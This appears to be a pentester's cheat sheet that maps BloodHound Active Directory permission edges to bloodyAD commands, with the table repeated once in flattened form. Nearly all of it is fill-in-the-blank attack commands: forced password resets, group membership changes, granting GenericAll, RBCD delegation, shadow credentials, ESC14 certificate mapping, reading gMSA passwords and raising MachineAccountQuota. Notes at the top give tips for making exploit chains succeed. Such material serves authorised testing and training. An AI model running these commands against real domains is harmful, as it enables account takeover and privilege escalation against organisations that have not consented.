bloodyAD

Notes

  • Pass -k to use kerberos authentication
  • You can pass a user hash instead of a password using -p :hash
  • Specify format for ‘–password’ or ‘-k ‘ using -f, e.g. -f rc4
  • Can be finicky and may have to update clockskew, attempt commands mult times, as well as attempt exploit chains in rapid succession
BloodHound Edges to bloodyAD Commands
BloodHound Edge Action bloodyAD Command
GenericAll Full Control bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username
  Reset Password bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
  Modify UPN bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user userPrincipalName -v $new_upn
  Modify Mail bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user mail -v newmail@test.local
  Enable Disabled Account bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
  Add RBCD Entry bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
  Set altSecurityIdentities (ESC14) bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user altSecurityIdentities -v 'X509:<RFC822>user@test.local'
  Add to Group bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
  Set SPN bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'domain/meow'
  Set Owner bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username
  Restore Deleted Object bloodyAD --host $dc -d $domain -u $username -p $password -k set restore $user_to_restore
GenericWrite Modify UPN bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user userPrincipalName -v $new_upn
  Modify Mail bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user mail -v newmail@test.local
  Set altSecurityIdentities bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user altSecurityIdentities -v 'X509:<RFC822>user@test.local'
  Set SPN bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'domain/meow'
  Enable Disabled Account bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
  Add RBCD Entry bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
  Reset Password bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
WriteOwner Take Ownership bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username
WriteDACL Grant GenericAll bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username
  Add RBCD Entry bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
  Restore Deleted Object bloodyAD --host $dc -d $domain -u $username -p $password -k set restore $user_to_restore
AddMember Add User to Group bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
AllExtendedRights Reset Password bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
AllowedToDelegate Set TRUSTED_TO_AUTH_FOR_DELEGATION bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION
ReadProperty Read GMSA Password bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword
  Check UPN bloodyAD --host $dc -d $domain -u $username -p $password get object $target_user --attr userPrincipalName
Other/Utility Retrieve User Info bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username
  Find Writable Attributes bloodyAD --host $dc -d $domain -u $username -p $password get writable --detail
  Find Deleted Objects bloodyAD --host $dc -d $domain -u $username -p $password get writable --include-del
  Enumerate MachineAccountQuota bloodyAD --host $dc -d $domain -u $username -p $password get object 'DC=dc,DC=dc' --attr ms-DS-MachineAccountQuota
  Set MAQ Value bloodyAD --host $dc -d $domain -u $username -p $password set object 'DC=dc,DC=dc' ms-DS-MachineAccountQuota -v 10
  Create Computer Account bloodyAD --host $dc -d $domain -u $username -p $password add computer $computer_name $computer_password
  Shadow Credentials bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target
  Extended Search - Tombstones bloodyAD --host $dc -d $domain -u $username -p $password -k get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065

GenericAll
Full Control
bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username
Reset Password
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
Modify UPN
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user userPrincipalName -v $new_upn
Modify Mail
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user mail -v newmail@test.local
Enable Disabled Account
bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
Add RBCD Entry
bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
Set altSecurityIdentities (ESC14)
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user altSecurityIdentities -v 'X509:<RFC822>user@test.local'
Add to Group
bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
Set SPN
bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'domain/meow'
Set Owner
bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username
Restore Deleted Object
bloodyAD --host $dc -d $domain -u $username -p $password -k set restore $user_to_restore
GenericWrite
Modify UPN
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user userPrincipalName -v $new_upn
Modify Mail
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user mail -v newmail@test.local
Set altSecurityIdentities
bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user altSecurityIdentities -v 'X509:<RFC822>user@test.local'
Set SPN
bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'domain/meow'
Enable Disabled Account
bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
Add RBCD Entry
bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
Reset Password
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
WriteOwner
Take Ownership
bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username
WriteDACL
Grant GenericAll
bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username
Add RBCD Entry
bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
Restore Deleted Object
bloodyAD --host $dc -d $domain -u $username -p $password -k set restore $user_to_restore
AddMember
Add User to Group
bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
AllExtendedRights
Reset Password
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
AllowedToDelegate
Set TRUSTED_TO_AUTH_FOR_DELEGATION
bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION
ReadProperty
Read GMSA Password
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword
Other/Utility
Retrieve User Info
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username
Find Writable Attributes
bloodyAD --host $dc -d $domain -u $username -p $password get writable --detail
Find Deleted Objects
bloodyAD --host $dc -d $domain -u $username -p $password get writable --include-del
Enumerate MachineAccountQuota
bloodyAD --host $dc -d $domain -u $username -p $password get object 'DC=dc,DC=dc' --attr ms-DS-MachineAccountQuota
Set MAQ Value
bloodyAD --host $dc -d $domain -u $username -p $password set object 'DC=dc,DC=dc' ms-DS-MachineAccountQuota -v 10
Create Computer Account
bloodyAD --host $dc -d $domain -u $username -p $password add computer $computer_name $computer_password
Shadow Credentials
bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target
Extended Search - Tombstones
bloodyAD --host $dc -d $domain -u $username -p $password -k get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065

Big thanks to Serioton for the BloodyAD Cheatsheet that I based my commands off of <3